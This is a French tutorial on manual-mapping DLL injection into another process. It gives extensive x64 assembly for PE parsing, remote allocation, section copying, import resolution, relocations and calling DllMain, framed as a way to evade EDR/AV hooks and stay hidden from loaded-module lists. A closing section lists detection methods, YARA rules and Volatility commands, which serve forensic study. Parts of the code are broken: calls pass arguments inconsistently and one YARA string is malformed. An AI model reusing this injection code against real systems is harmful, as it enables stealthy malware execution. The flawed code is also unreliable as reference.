⚠️ LAB AVANCÉ ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped uniquement – Technique de niveau expert – Recherche en mémoire forensics uniquement

Manual Map Shellcode Injection – PE Parsing en ASM Pur

Low-Level Maestro Series 2026 | Parsing complet de structures PE, relocations manuelles, injection sans LoadLibrary | Pour les experts en reverse engineering et mémoire forensics

🎯 Introduction : Le Manuel Mapping Avancé 2026

Le Manual Mapping (ou "manuelle cartographie") est une technique avancée d'injection qui charge une DLL directement en mémoire sans utiliser LoadLibrary. Cette méthode parse manuellement les structures PE (Portable Executable), gère les relocations, résout les imports, et initialise la DLL entièrement en mémoire.

Pourquoi cette technique est-elle cruciale en 2026 ?
• Bypass des hooks sur LoadLibrary/LdrLoadDll des EDR/AV
• Aucune trace dans les listes de modules chargés (PEB->Ldr)
• Contrôle total sur le processus de chargement
• Évasion des mécanismes de détection basés sur les APIs
• Compatible avec les techniques de process hollowing

Objectifs de cette Masterclass Avancée :

Prérequis Techniques Avancés :
• Connaissance solide du format PE/PE+
• Expérience en assembleur x64 Windows
• Compréhension des mécanismes de mémoire Windows
• Environnement de lab Windows 11 24H2 avec WinDbg
• IDA Pro/Ghidra pour l'analyse statique

📚 Théorie Avancée : Structure PE/PE+ 2026

graph TD A[Fichier PE en mémoire] --> B[DOS Header] B --> C[DOS Stub] C --> D[NT Headers] D --> E[File Header] D --> F[Optional Header] F --> G[Data Directories] G --> H[Import Table] G --> I[Export Table] G --> J[Relocation Table] G --> K[Resource Table] D --> L[Section Headers] L --> M[.text Section] L --> N[.rdata Section] L --> O[.data Section] L --> P[.reloc Section] style A fill:#1a1a1a style H fill:#ff6b6b style J fill:#4ecdc4

Structure Complète d'un PE/PE+ (64-bit)

DOS Header
e_lfanew →
DOS Stub
(programme DOS)
NT Headers
Signature "PE\0\0"
File Header
Machine, Sections...
Optional Header
Magic, EntryPoint...
Data Directories
16 entrées
Section Header .text
Section Header .rdata
Section Header .data
Section Header .reloc
Section .text
(code exécutable)
Section .rdata
(données read-only)
Section .data
(données read-write)
Section .reloc
(relocations)

Structures Clés du Format PE

Structure Offset Taille Champs Critiques
IMAGE_DOS_HEADER 0x00 64 bytes e_magic, e_lfanew
IMAGE_NT_HEADERS64 e_lfanew 264 bytes Signature, FileHeader, OptionalHeader
IMAGE_FILE_HEADER +4 20 bytes Machine, NumberOfSections
IMAGE_OPTIONAL_HEADER64 +24 240 bytes Magic, AddressOfEntryPoint, ImageBase
IMAGE_DATA_DIRECTORY[16] +112 128 bytes Import, Export, Relocation, etc.
IMAGE_SECTION_HEADER varie 40 bytes × n Name, VirtualAddress, SizeOfRawData
Note sur les Data Directories :
L'Optional Header contient 16 Data Directories. Les plus importantes pour le manual mapping sont : • Directory 1: Import Table (IMAGE_DIRECTORY_ENTRY_IMPORT)
• Directory 5: Base Relocation Table (IMAGE_DIRECTORY_ENTRY_BASERELOC)
• Directory 11: Bound Import Table
• Directory 12: Import Address Table (IAT)
• Directory 13: Delay Import Descriptor

⚙️ Algorithme de Manual Mapping Complet

graph TD A[Début: Buffer DLL en mémoire] --> B[1. Vérifier DOS Header] B --> C[2. Trouver NT Headers via e_lfanew] C --> D[3. Valider PE Signature "PE\0\0"] D --> E[4. Lire ImageBase et SizeOfImage] E --> F[5. Allouer mémoire à ImageBase] F --> G{Allocation réussie ?} G -->|Non| H[6. Allouer autre part + relocations] G -->|Oui| I[7. Copier les Headers PE] H --> I I --> J[8. Copier les Sections] J --> K[9. Résoudre les Imports] K --> L[10. Appliquer les Relocations] L --> M[11. Fixer les permissions (PAGE_EXECUTE_READ)] M --> N[12. Appeler TLS Callbacks] N --> O[13. Appeler DllMain (DLL_PROCESS_ATTACH)] O --> P[Fin: DLL chargée manuellement] style A fill:#1a1a1a style P fill:#4ecdc4 style H fill:#ff6b6b

Étapes Détaillées du Processus

1. Parsing Initial

Validation des headers DOS/PE, extraction des métadonnées critiques, vérification de l'architecture (x64).

2. Allocation Mémoire

VirtualAllocEx avec ImageBase préféré. Si échec, allocation alternative + gestion des relocations.

3. Copie des Sections

Mapping des sections .text, .rdata, .data avec leurs VirtualAddress et permissions correctes.

4. Résolution des Imports

Parsing de l'Import Directory, chargement des DLL dépendantes, remplissage de l'IAT avec les adresses réelles.

5. Relocations

Application des fixups si ImageBase différent de l'adresse préférée. Gestion des types HIGH/LOW, DIR64.

6. Initialisation

Appel des TLS Callbacks si présents, puis DllMain avec DLL_PROCESS_ATTACH. Gestion des exceptions.

💻 Code Source Complet – Manual Mapping en ASM x64

Attention : Code de niveau expert
Ce code nécessite une compréhension approfondie du format PE et de l'assembleur x64 Windows. Testez UNIQUEMENT en environnement de lab isolé.

Structures de Données PE (Définitions ASM)

; ====================================================================
; STRUCTURES PE/PE+ pour Manual Mapping
; ====================================================================

; DOS Header
struc IMAGE_DOS_HEADER
    .e_magic      resw 1    ; "MZ"
    .e_cblp       resw 1
    .e_cp         resw 1
    .e_crlc       resw 1
    .e_cparhdr    resw 1
    .e_minalloc   resw 1
    .e_maxalloc   resw 1
    .e_ss         resw 1
    .e_sp         resw 1
    .e_csum       resw 1
    .e_ip         resw 1
    .e_cs         resw 1
    .e_lfarlc     resw 1
    .e_ovno       resw 1
    .e_res        resw 8
    .e_oemid      resw 1
    .e_oeminfo    resw 1
    .e_res2       resw 10
    .e_lfanew     resd 1    ; Offset vers NT Headers
endstruc

; NT Headers Signature
%define IMAGE_NT_SIGNATURE 0x00004550  ; "PE\0\0"

; File Header
struc IMAGE_FILE_HEADER
    .Machine              resw 1
    .NumberOfSections     resw 1
    .TimeDateStamp        resd 1
    .PointerToSymbolTable resd 1
    .NumberOfSymbols      resd 1
    .SizeOfOptionalHeader resw 1
    .Characteristics      resw 1
endstruc

; Optional Header (PE32+ - 64-bit)
struc IMAGE_OPTIONAL_HEADER64
    .Magic                        resw 1
    .MajorLinkerVersion           resb 1
    .MinorLinkerVersion           resb 1
    .SizeOfCode                   resd 1
    .SizeOfInitializedData        resd 1
    .SizeOfUninitializedData      resd 1
    .AddressOfEntryPoint          resd 1
    .BaseOfCode                   resd 1
    .ImageBase                    resq 1    ; Base d'image préférée (64-bit)
    .SectionAlignment             resd 1
    .FileAlignment                resd 1
    .MajorOperatingSystemVersion  resw 1
    .MinorOperatingSystemVersion  resw 1
    .MajorImageVersion            resw 1
    .MinorImageVersion            resw 1
    .MajorSubsystemVersion        resw 1
    .MinorSubsystemVersion        resw 1
    .Win32VersionValue            resd 1
    .SizeOfImage                  resd 1    ; Taille totale en mémoire
    .SizeOfHeaders                resd 1
    .CheckSum                     resd 1
    .Subsystem                    resw 1
    .DllCharacteristics           resw 1
    .SizeOfStackReserve           resq 1
    .SizeOfStackCommit            resq 1
    .SizeOfHeapReserve            resq 1
    .SizeOfHeapCommit             resq 1
    .LoaderFlags                  resd 1
    .NumberOfRvaAndSizes          resd 1    ; Nombre de Data Directories
    ; Data Directories (16 entrées)
    .DataDirectory                resb 16 * 8  ; RVA + Size pour chaque
endstruc

; Data Directory Indices
%define IMAGE_DIRECTORY_ENTRY_EXPORT          0
%define IMAGE_DIRECTORY_ENTRY_IMPORT          1
%define IMAGE_DIRECTORY_ENTRY_RESOURCE        2
%define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3
%define IMAGE_DIRECTORY_ENTRY_SECURITY        4
%define IMAGE_DIRECTORY_ENTRY_BASERELOC       5
%define IMAGE_DIRECTORY_ENTRY_DEBUG           6
%define IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7
%define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8
%define IMAGE_DIRECTORY_ENTRY_TLS             9
%define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10
%define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11
%define IMAGE_DIRECTORY_ENTRY_IAT            12
%define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13
%define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14

; Section Header
struc IMAGE_SECTION_HEADER
    .Name                 resb 8
    .VirtualSize          resd 1
    .VirtualAddress       resd 1    ; RVA de la section
    .SizeOfRawData        resd 1    ; Taille dans le fichier
    .PointerToRawData     resd 1    ; Offset dans le fichier
    .PointerToRelocations resd 1
    .PointerToLinenumbers resd 1
    .NumberOfRelocations  resw 1
    .NumberOfLinenumbers  resw 1
    .Characteristics      resd 1    ; Permissions (READ, WRITE, EXECUTE)
endstruc

; Import Descriptor
struc IMAGE_IMPORT_DESCRIPTOR
    .OriginalFirstThunk   resd 1    ; RVA vers Import Lookup Table
    .TimeDateStamp        resd 1
    .ForwarderChain       resd 1
    .Name                 resd 1    ; RVA vers nom de la DLL
    .FirstThunk           resd 1    ; RVA vers Import Address Table
endstruc

; Relocation Block Header
struc IMAGE_BASE_RELOCATION
    .VirtualAddress       resd 1    ; RVA de début du bloc
    .SizeOfBlock          resd 1    ; Taille totale du bloc
endstruc

; Types de relocations x64
%define IMAGE_REL_BASED_ABSOLUTE        0
%define IMAGE_REL_BASED_HIGH            1
%define IMAGE_REL_BASED_LOW             2
%define IMAGE_REL_BASED_HIGHLOW         3
%define IMAGE_REL_BASED_HIGHADJ         4
%define IMAGE_REL_BASED_DIR64          10

Fonction Principale de Manual Mapping

; ====================================================================
; MANUAL_MAP_DLL - Fonction principale
; Entrée: RSI = pointeur vers buffer DLL en mémoire
;         RDI = handle du processus cible (si injection)
;         ou 0 = processus courant
; Sortie: RAX = base address de la DLL mappée, ou 0 si erreur
; ====================================================================
manual_map_dll:
    push rbp
    mov rbp, rsp
    sub rsp, 60h                    ; Espace pour variables locales
    
    ; Sauvegarder les paramètres
    mov [rbp - 8], rsi              ; ptr_dll_buffer
    mov [rbp - 16], rdi             ; target_process
    
    ; ====================================================================
    ; ÉTAPE 1: Vérifier DOS Header
    ; ====================================================================
    cmp word [rsi], 0x5A4D          ; "MZ" signature
    jne .error_invalid_pe
    
    ; ====================================================================
    ; ÉTAPE 2: Trouver NT Headers
    ; ====================================================================
    mov eax, [rsi + IMAGE_DOS_HEADER.e_lfanew]
    add rax, rsi                    ; RAX = ptr NT Headers
    mov [rbp - 24], rax             ; Sauvegarder ptr_nt_headers
    
    ; ====================================================================
    ; ÉTAPE 3: Vérifier PE Signature
    ; ====================================================================
    cmp dword [rax], IMAGE_NT_SIGNATURE
    jne .error_invalid_pe
    
    ; ====================================================================
    ; ÉTAPE 4: Vérifier architecture (PE32+ = 64-bit)
    ; ====================================================================
    movzx ecx, word [rax + 4 + IMAGE_FILE_HEADER.Machine]
    cmp cx, 0x8664                  ; IMAGE_FILE_MACHINE_AMD64
    jne .error_wrong_architecture
    
    ; ====================================================================
    ; ÉTAPE 5: Extraire les métadonnées critiques
    ; ====================================================================
    ; Nombre de sections
    movzx ecx, word [rax + 4 + IMAGE_FILE_HEADER.NumberOfSections]
    mov [rbp - 28], ecx             ; Sauvegarder num_sections
    
    ; Taille des optional headers
    movzx edx, word [rax + 4 + IMAGE_FILE_HEADER.SizeOfOptionalHeader]
    mov [rbp - 32], edx             ; Sauvegarder opt_header_size
    
    ; Ptr vers Optional Header
    lea rbx, [rax + 4 + IMAGE_FILE_HEADER_size]
    mov [rbp - 40], rbx             ; Sauvegarder ptr_opt_header
    
    ; ImageBase préférée
    mov rcx, [rbx + IMAGE_OPTIONAL_HEADER64.ImageBase]
    mov [rbp - 48], rcx             ; Sauvegarder preferred_base
    
    ; Taille totale en mémoire
    mov edx, [rbx + IMAGE_OPTIONAL_HEADER64.SizeOfImage]
    mov [rbp - 52], edx             ; Sauvegarder image_size
    
    ; EntryPoint RVA
    mov ecx, [rbx + IMAGE_OPTIONAL_HEADER64.AddressOfEntryPoint]
    mov [rbp - 56], ecx             ; Sauvegarder entry_point_rva
    
    ; ====================================================================
    ; ÉTAPE 6: Allouer la mémoire pour la DLL
    ; ====================================================================
    mov rcx, [rbp - 16]             ; target_process (0 = processus courant)
    mov rdx, [rbp - 48]             ; preferred_base
    mov r8, [rbp - 52]              ; image_size
    mov r9, MEM_COMMIT | MEM_RESERVE
    mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE
    call [rel VirtualAllocEx]
    
    test rax, rax
    jz .try_alternative_allocation
    
    mov [rbp - 64], rax             ; Sauvegarder allocated_base
    jmp .memory_allocated
    
    .try_alternative_allocation:
    ; Allocation alternative (sans adresse préférée)
    mov rcx, [rbp - 16]             ; target_process
    xor rdx, rdx                    ; NULL = système choisit
    mov r8, [rbp - 52]              ; image_size
    mov r9, MEM_COMMIT | MEM_RESERVE
    mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE
    call [rel VirtualAllocEx]
    
    test rax, rax
    jz .error_allocation_failed
    
    mov [rbp - 64], rax             ; allocated_base
    mov qword [rbp - 72], 1         ; Flag: relocations nécessaires
    
    .memory_allocated:
    
    ; ====================================================================
    ; ÉTAPE 7: Copier les Headers PE
    ; ====================================================================
    mov rcx, [rbp - 16]             ; target_process
    mov rdx, [rbp - 64]             ; destination (allocated_base)
    mov r8, [rbp - 8]               ; source (dll_buffer)
    
    ; Taille des headers = SizeOfHeaders
    mov r9d, [rbx + IMAGE_OPTIONAL_HEADER64.SizeOfHeaders]
    mov [rsp + 20h], r9
    xor r9, r9
    call [rel WriteProcessMemory]
    test rax, rax
    jz .error_copy_failed
    
    ; ====================================================================
    ; ÉTAPE 8: Copier les Sections
    ; ====================================================================
    ; Calculer ptr vers premier section header
    mov rax, [rbp - 40]             ; ptr_opt_header
    mov edx, [rbp - 32]             ; opt_header_size
    lea rsi, [rax + rdx]            ; RSI = premier section header
    
    mov ecx, [rbp - 28]             ; num_sections
    .copy_sections_loop:
        test ecx, ecx
        jz .sections_copied
        
        ; Lire VirtualAddress et SizeOfRawData
        mov edx, [rsi + IMAGE_SECTION_HEADER.VirtualAddress]
        mov r8d, [rsi + IMAGE_SECTION_HEADER.SizeOfRawData]
        mov r9d, [rsi + IMAGE_SECTION_HEADER.PointerToRawData]
        
        ; Si SizeOfRawData > 0, copier la section
        test r8d, r8d
        jz .next_section
        
        ; Destination = allocated_base + VirtualAddress
        mov rax, [rbp - 64]
        add rax, rdx
        mov [rsp + 20h], rax        ; lpBaseAddress
        
        ; Source = dll_buffer + PointerToRawData
        mov rax, [rbp - 8]
        add rax, r9
        mov [rsp + 28h], rax        ; lpBuffer
        
        ; Taille
        mov [rsp + 30h], r8
        
        ; Appel WriteProcessMemory
        mov rcx, [rbp - 16]         ; target_process
        lea rdx, [rsp + 20h]        ; lpBaseAddress
        lea r8, [rsp + 28h]         ; lpBuffer
        mov r9, [rsp + 30h]         ; nSize
        push 0
        call [rel WriteProcessMemory]
        test rax, rax
        jz .error_copy_failed
        
    .next_section:
        add rsi, IMAGE_SECTION_HEADER_size
        dec ecx
        jmp .copy_sections_loop
    
    .sections_copied:
    
    ; ====================================================================
    ; ÉTAPE 9: Résoudre les Imports (si présent)
    ; ====================================================================
    mov rax, [rbp - 40]             ; ptr_opt_header
    mov edx, [rax + IMAGE_OPTIONAL_HEADER64.DataDirectory + IMAGE_DIRECTORY_ENTRY_IMPORT*8]
    test edx, edx
    jz .imports_resolved            ; Pas d'imports
    
    ; Résoudre les imports
    call resolve_imports
    test rax, rax
    jz .error_import_resolution_failed
    
    .imports_resolved:
    
    ; ====================================================================
    ; ÉTAPE 10: Appliquer les Relocations (si nécessaires)
    ; ====================================================================
    cmp qword [rbp - 72], 0
    je .relocations_applied         ; Relocations non nécessaires
    
    ; Vérifier si la table de relocations existe
    mov rax, [rbp - 40]             ; ptr_opt_header
    mov edx, [rax + IMAGE_OPTIONAL_HEADER64.DataDirectory + IMAGE_DIRECTORY_ENTRY_BASERELOC*8]
    test edx, edx
    jz .error_relocations_missing   ; Relocs nécessaires mais absentes
    
    ; Appliquer les relocations
    call apply_relocations
    test rax, rax
    jz .error_relocation_failed
    
    .relocations_applied:
    
    ; ====================================================================
    ; ÉTAPE 11: Fixer les Permissions des Sections
    ; ====================================================================
    call fix_section_permissions
    test rax, rax
    jz .error_permission_fix_failed
    
    ; ====================================================================
    ; ÉTAPE 12: Appeler les TLS Callbacks (si présents)
    ; ====================================================================
    call execute_tls_callbacks
    ; Note: Les TLS callbacks peuvent échouer sans que ce soit fatal
    
    ; ====================================================================
    ; ÉTAPE 13: Appeler DllMain (DLL_PROCESS_ATTACH)
    ; ====================================================================
    mov rax, [rbp - 64]             ; allocated_base
    mov ecx, [rbp - 56]             ; entry_point_rva
    add rax, rcx                    ; RAX = entry point
    
    ; Préparer les paramètres pour DllMain
    mov rcx, [rbp - 64]             ; hModule (base address)
    mov rdx, DLL_PROCESS_ATTACH     ; fdwReason
    xor r8, r8                      ; lpReserved = NULL
    
    ; Appeler DllMain via un stub pour gérer les exceptions
    call safe_call_dllmain
    test rax, rax
    jz .error_dllmain_failed
    
    ; ====================================================================
    ; SUCCÈS: Retourner la base address
    ; ====================================================================
    mov rax, [rbp - 64]
    jmp .cleanup
    
    ; ====================================================================
    ; GESTION DES ERREURS
    ; ====================================================================
    .error_invalid_pe:
        mov rax, 1
        jmp .error_cleanup
    
    .error_wrong_architecture:
        mov rax, 2
        jmp .error_cleanup
    
    .error_allocation_failed:
        mov rax, 3
        jmp .error_cleanup
    
    .error_copy_failed:
        mov rax, 4
        jmp .error_cleanup
    
    .error_import_resolution_failed:
        mov rax, 5
        jmp .error_cleanup
    
    .error_relocations_missing:
        mov rax, 6
        jmp .error_cleanup
    
    .error_relocation_failed:
        mov rax, 7
        jmp .error_cleanup
    
    .error_permission_fix_failed:
        mov rax, 8
        jmp .error_cleanup
    
    .error_dllmain_failed:
        mov rax, 9
    
    .error_cleanup:
        ; Cleanup en cas d'erreur
        push rax                     ; Sauvegarder code d'erreur
        
        ; Si mémoire allouée, la libérer
        cmp qword [rbp - 64], 0
        je .error_cleanup_done
        
        mov rcx, [rbp - 16]         ; target_process
        mov rdx, [rbp - 64]         ; allocated_base
        xor r8, r8                  ; dwSize = 0 (tout libérer)
        mov r9, MEM_RELEASE
        call [rel VirtualFreeEx]
        
        .error_cleanup_done:
        pop rax                      ; Restaurer code d'erreur
        xor rax, rax                 ; Retourner 0 (échec)
    
    .cleanup:
        add rsp, 60h
        pop rbp
        ret

; Constantes
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH equ 2
DLL_THREAD_DETACH equ 3
DLL_PROCESS_DETACH equ 4

Fonction de Résolution des Imports

; ====================================================================
; RESOLVE_IMPORTS - Résout la table d'imports d'une DLL
; Entrée: Paramètres dans les variables locales du stack frame
; Sortie: RAX = 1 si succès, 0 si échec
; ====================================================================
resolve_imports:
    push rbp
    mov rbp, rsp
    sub rsp, 40h
    
    ; Récupérer les paramètres depuis le stack frame parent
    mov rax, [rbp + 10h]            ; ptr_opt_header (à ajuster selon le contexte réel)
    mov rbx, [rbp + 18h]            ; allocated_base
    mov rcx, [rbp + 20h]            ; target_process
    
    ; Trouver l'Import Directory
    mov edx, [rax + IMAGE_OPTIONAL_HEADER64.DataDirectory + IMAGE_DIRECTORY_ENTRY_IMPORT*8]
    add rdx, rbx                    ; RDX = ptr Import Directory
    
    ; Parcourir les Import Descriptors
    .import_descriptor_loop:
        mov eax, [rdx + IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        test eax, eax
        jz .imports_resolved        ; Fin de la table
        
        ; Obtenir le nom de la DLL
        mov ecx, [rdx + IMAGE_IMPORT_DESCRIPTOR.Name]
        add rcx, rbx                ; RSI = nom de la DLL
        
        ; Charger la DLL via LoadLibrary (ou LdrLoadDll pour plus de stealth)
        call load_library_proxy
        test rax, rax
        jz .error_load_library_failed
        
        mov [rsp + 20h], rax        ; Sauvegarder handle de la DLL
        
        ; Résoudre les fonctions
        mov rsi, [rdx + IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add rsi, rbx                ; RSI = IAT
        
        mov rdi, [rdx + IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        test rdi, rdi
        jnz .use_original_first_thunk
        mov rdi, rsi                ; Si OriginalFirstThunk = 0, utiliser FirstThunk
        
    .use_original_first_thunk:
        add rdi, rbx                ; RDI = ILT
        
        .resolve_functions_loop:
            ; Vérifier la fin de la table
            cmp qword [rdi], 0
            je .next_descriptor
            
            ; Vérifier si c'est une import par ordinal ou par nom
            test qword [rdi], 0x8000000000000000
            jnz .import_by_ordinal
            
            ; Import par nom
            mov rax, [rdi]
            add rax, rbx
            add rax, 2              ; Passer l'Hint
            
            ; Résoudre la fonction
            mov rcx, [rsp + 20h]    ; hModule
            mov rdx, rax            ; Nom de la fonction
            call get_proc_address_proxy
            
            jmp .store_function_address
            
        .import_by_ordinal:
            ; Extraire l'ordinal (masquer le bit haut)
            mov rax, [rdi]
            and rax, 0x7FFFFFFF
            
            ; Résoudre par ordinal
            mov rcx, [rsp + 20h]    ; hModule
            mov rdx, rax            ; Ordinal
            call get_proc_address_by_ordinal
            
        .store_function_address:
            test rax, rax
            jz .error_get_proc_address_failed
            
            ; Stocker l'adresse dans l'IAT
            mov [rsi], rax
        
        .next_function:
            add rsi, 8
            add rdi, 8
            jmp .resolve_functions_loop
        
        .next_descriptor:
            add rdx, IMAGE_IMPORT_DESCRIPTOR_size
            jmp .import_descriptor_loop
    
    .imports_resolved:
        mov rax, 1
        jmp .cleanup
    
    .error_load_library_failed:
        mov rax, 0
        jmp .cleanup
    
    .error_get_proc_address_failed:
        mov rax, 0
    
    .cleanup:
        add rsp, 40h
        pop rbp
        ret

; ====================================================================
; Fonctions proxy pour le chargement (peuvent être remplacées par des syscalls)
; ====================================================================
load_library_proxy:
    ; RSI = nom de la DLL
    mov rcx, rsi
    sub rsp, 20h
    call [rel LoadLibraryA]
    add rsp, 20h
    ret

get_proc_address_proxy:
    ; RCX = hModule, RDX = nom de la fonction
    sub rsp, 20h
    call [rel GetProcAddress]
    add rsp, 20h
    ret

get_proc_address_by_ordinal:
    ; RCX = hModule, RDX = ordinal
    mov rax, rdx
    shl rax, 16                     ; Mettre l'ordinal dans le mot haut
    or rax, 0x8000000000000000      ; Définir le bit haut pour indiquer ordinal
    mov rdx, rax
    sub rsp, 20h
    call [rel GetProcAddress]
    add rsp, 20h
    ret

Fonction d'Application des Relocations

; ====================================================================
; APPLY_RELOCATIONS - Applique les relocations base
; Entrée: Paramètres dans les variables locales
; Sortie: RAX = 1 si succès, 0 si échec
; ====================================================================
apply_relocations:
    push rbp
    mov rbp, rsp
    sub rsp, 30h
    
    ; Récupérer les paramètres
    mov rax, [rbp + 10h]            ; ptr_opt_header
    mov rbx, [rbp + 18h]            ; allocated_base
    mov rcx, [rbp + 20h]            ; preferred_base
    
    ; Calculer le delta
    mov rdx, rbx                    ; allocated_base
    sub rdx, rcx                    ; delta = allocated - preferred
    mov [rsp + 20h], rdx            ; Sauvegarder delta
    
    ; Si delta = 0, pas de relocations nécessaires
    test rdx, rdx
    jz .relocations_applied
    
    ; Trouver la table de relocations
    mov edx, [rax + IMAGE_OPTIONAL_HEADER64.DataDirectory + IMAGE_DIRECTORY_ENTRY_BASERELOC*8]
    test edx, edx
    jz .error_no_relocation_table
    
    add rdx, rbx                    ; RDX = ptr relocation table
    
    .process_relocation_block:
        ; Lire le header du bloc
        mov eax, [rdx + IMAGE_BASE_RELOCATION.VirtualAddress]
        test eax, eax
        jz .relocations_applied     ; Fin de la table
        
        mov ecx, [rdx + IMAGE_BASE_RELOCATION.SizeOfBlock]
        test ecx, ecx
        jz .error_invalid_block
        
        ; Calculer le nombre d'entrées dans ce bloc
        sub ecx, 8                  ; Soustraire la taille du header
        shr ecx, 1                  ; Diviser par 2 (chaque entrée = 2 bytes)
        
        ; RSI = pointeur vers les entrées de relocation
        lea rsi, [rdx + 8]
        
        ; RDI = base address + VirtualAddress du bloc
        mov edi, [rdx + IMAGE_BASE_RELOCATION.VirtualAddress]
        add rdi, rbx
        
        .process_relocation_entries:
            test ecx, ecx
            jz .next_block
            
            ; Lire l'entrée de relocation (16 bits)
            movzx eax, word [rsi]
            
            ; Extraire le type (4 bits haut) et l'offset (12 bits bas)
            mov r8d, eax
            shr r8d, 12             ; R8D = type
            and eax, 0xFFF          ; EAX = offset
            
            ; Si type = 0 (IMAGE_REL_BASED_ABSOLUTE), ignorer
            test r8d, r8d
            jz .next_entry
            
            ; Calculer l'adresse à patcher
            lea r9, [rdi + rax]     ; R9 = adresse à patcher
            
            ; Appliquer la relocation selon le type
            cmp r8d, IMAGE_REL_BASED_HIGHLOW  ; 32-bit
            je .apply_32bit_reloc
            cmp r8d, IMAGE_REL_BASED_DIR64    ; 64-bit
            je .apply_64bit_reloc
            cmp r8d, IMAGE_REL_BASED_HIGH     ; 16-bit haut
            je .apply_high_reloc
            cmp r8d, IMAGE_REL_BASED_LOW      ; 16-bit bas
            je .apply_low_reloc
            
            ; Type non supporté
            jmp .error_unsupported_reloc_type
            
            .apply_64bit_reloc:
                ; 64-bit relocation: ajouter le delta à la valeur
                mov rax, [r9]
                add rax, [rsp + 20h]  ; delta
                mov [r9], rax
                jmp .next_entry
            
            .apply_32bit_reloc:
                ; 32-bit relocation: ajouter le delta à la valeur
                mov eax, [r9]
                add eax, [rsp + 20h]  ; delta (32-bit, truncation OK si delta petit)
                mov [r9], eax
                jmp .next_entry
            
            .apply_high_reloc:
                ; HIGH relocation: ajouter le haut 16 bits du delta
                mov ax, [r9]
                add ax, word [rsp + 20h + 2]  ; HIGHWORD(delta)
                mov [r9], ax
                jmp .next_entry
            
            .apply_low_reloc:
                ; LOW relocation: ajouter le bas 16 bits du delta
                mov ax, [r9]
                add ax, word [rsp + 20h]      ; LOWORD(delta)
                mov [r9], ax
            
            .next_entry:
                add rsi, 2
                dec ecx
                jmp .process_relocation_entries
        
        .next_block:
            ; Passer au bloc suivant
            mov eax, [rdx + IMAGE_BASE_RELOCATION.SizeOfBlock]
            add rdx, rax
            jmp .process_relocation_block
    
    .relocations_applied:
        mov rax, 1
        jmp .cleanup
    
    .error_no_relocation_table:
        mov rax, 0
        jmp .cleanup
    
    .error_invalid_block:
        mov rax, 0
        jmp .cleanup
    
    .error_unsupported_reloc_type:
        mov rax, 0
    
    .cleanup:
        add rsp, 30h
        pop rbp
        ret

🛡️ Détection & Contre-Mesures 2026

1. Memory Scanning

Recherche de modules non listés dans PEB->Ldr mais présents en mémoire via VAD (Virtual Address Descriptor) analysis.

2. API Hooking Avancé

Hooker NtAllocateVirtualMemory, NtProtectVirtualMemory pour détecter les allocations RX anormales suivies de copies mémoire.

3. Behavioral Analysis

Détection des processus qui parsent manuellement des structures PE en mémoire via monitoring des accès mémoire patterns.

4. PE Header Validation

Vérification de l'intégrité des headers PE en mémoire (checksums, validité des structures).

5. Import Table Monitoring

Surveillance des modifications de l'IAT et détection des imports résolus dynamiquement hors LoadLibrary.

6. Relocation Detection

Détection des applications de relocations en mémoire via monitoring des écritures dans les sections .reloc.

Signatures YARA pour Manual Mapping

rule ManualMapping_PE_Parsing {
    meta:
        description = "Detects manual PE parsing patterns"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
    
    strings:
        // Recherche de signatures PE
        $mz_signature = { 4D 5A }                          // "MZ"
        $pe_signature = { 50 45 00 00 }                    // "PE\0\0"
        
        // Patterns de parsing manuel
        $parse_dos_header = { 66 81 39 4D 5A }            // cmp word ptr [rcx], 5A4Dh
        $get_e_lfanew = { 8B 41 3C }                      // mov eax, [rcx+3Ch]
        $check_pe_signature = { 81 38 50 45 00 00 }       // cmp dword ptr [rax], 00004550h
        
        // Patterns d'allocation mémoire
        $virtual_alloc_ex = { FF 15 ?? ?? ?? ?? }         // call [VirtualAllocEx]
        $memcpy_pattern = { 48 8B D1 48 8B C8 }          // mov rdx, rcx; mov rcx, rax
        
        // Patterns de résolution d'imports
        $load_library = { FF 15 ?? ?? ?? ?? }             // call [LoadLibraryA]
        $get_proc_address = { FF 15 ?? ?? ?? ?? }         // call [GetProcAddress]
        
        // Patterns de relocations
        $reloc_calc = { 48 2B D1 }                        // sub rdx, rcx (delta calculation)
        $reloc_apply = { 48 03 02 }                       // add rax, [rdx] (reloc application)
    
    condition:
        // Combinaison de plusieurs patterns
        (filesize < 50000) and
        ($mz_signature and $pe_signature) and
        (2 of ($parse_dos_header, $get_e_lfanew, $check_pe_signature)) and
        (2 of ($virtual_alloc_ex, $load_library, $get_proc_address))
}

rule ManualMapping_Memory_Anomalies {
    meta:
        description = "Detects memory anomalies from manual mapping"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
    
    strings:
        // Sections mémoire sans headers correspondants
        $text_section_no_header = { .text }
        $code_in_rdata = { E8 ?? ?? ?? ?? C3 }            // call + ret dans .rdata
        
        // IAT modifiée dynamiquement
        $iat_modification = { 48 89 06 }                  // mov [rsi], rax (IAT fill)
        
        // PE headers dans heap/stack
        $pe_in_heap = { 50 45 00 00 4C 01 }               // PE signature + suivants
    
    condition:
        uint32(0) == 0x5A4D and                           // MZ signature
        any of ($text_section_no_header, $code_in_rdata, $iat_modification)
}

Commandes Volatility pour la Détection

# Volatility 3 - Détection de manual mapping
vol.py -f memory.dmp windows.pslist                     # Lister les processus
vol.py -f memory.dmp windows.dlllist --pid 1234         # Modules chargés officiels
vol.py -f memory.dmp windows.malfind --pid 1234         # Recherche d'injections
vol.py -f memory.dmp windows.vadinfo --pid 1234         # Analyse VAD

# Recherche de PE headers en mémoire
vol.py -f memory.dmp windows.memmap --pid 1234 --dump   # Dump mémoire processus
strings memory.raw | grep -a "MZ"                       # Recherche signatures PE

# Analyse des sections mémoire
vol.py -f memory.dmp windows.ldrmodules --pid 1234      # Modules cachés
vol.py -f memory.dmp windows.modscan                    # Scan mémoire pour modules

# Détection d'activité de parsing PE
